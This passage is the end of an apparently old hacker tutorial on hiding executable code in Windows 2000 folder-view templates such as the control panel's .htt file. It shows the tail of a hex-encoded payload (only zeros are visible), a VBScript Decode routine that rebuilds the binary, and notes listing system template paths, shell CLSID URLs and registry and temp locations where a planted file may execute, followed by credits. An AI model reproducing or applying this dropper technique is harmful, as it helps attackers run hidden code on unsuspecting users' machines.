000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000") Function Decode(Text) For x = 1 To Len(Text) Step 2 thebyte = Chr(38) & "H" & Mid(Text, x, 2) temptext = temptext & Chr(thebyte) Next Decode = temptext End Function --> </script> </BODY></HTML> Finally heres what a fully done control pannel looks like with kids code and all, in bold is the added parts (Remeber this is only been done for WIN2K):
Open contropl.htt

Magus

I m getting an error with Interface Object I got it to successful go into the control pannel without complications but it pops up with the error like in a web page. Any ideas?
Later'

%SystemRoot%\web\printfld.htm execute c:\winnt\web\printfld.hm
file:///::{20D04FE0-3AEA-1069-A2D8-08002B30309D}/::{21EC2020-3AEA-1069-A2DD-08002B30309D}
cpl = control pannel extension
HKEY_CURRENT_USER\Environment -> %USERPROFILE%\Local Settings\Temp may execute file
file://%userappdata%\Microsoft\Internet Explorer\Desktop.htt = C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer HKEY_CLASSES_ROOT\CLSID\{00021400-0000-0000-C000-000000000046}

No one is perfect if there is false information or spelling and grammatical errors please e mail me and help me correct them I am firmly against false information and have gone to great lengths to verify everything mentioned above        -> E mail -> http://tnt2.ath.cx:5080/kernel32/[email protected]?subject=false info/error
Thanks goes to the following people in no special order:
Cyberfly, M_R and Magus(Thanks for all your help and support :-) ), weed(congrats bro), SilenceGold, dragnet for starting up the kazaa client when needed =), #tnt, Connected, and ap0calaps. Also a huge thank you too Olympus(http://www.lithiumrat.org/) for developing a program for my needs, and to mf4(areyoufearless.com) for also developing code to help me, and for both of their constant programming help. If you have been forgotten I m sure I was having a memory lapse thanks to you too.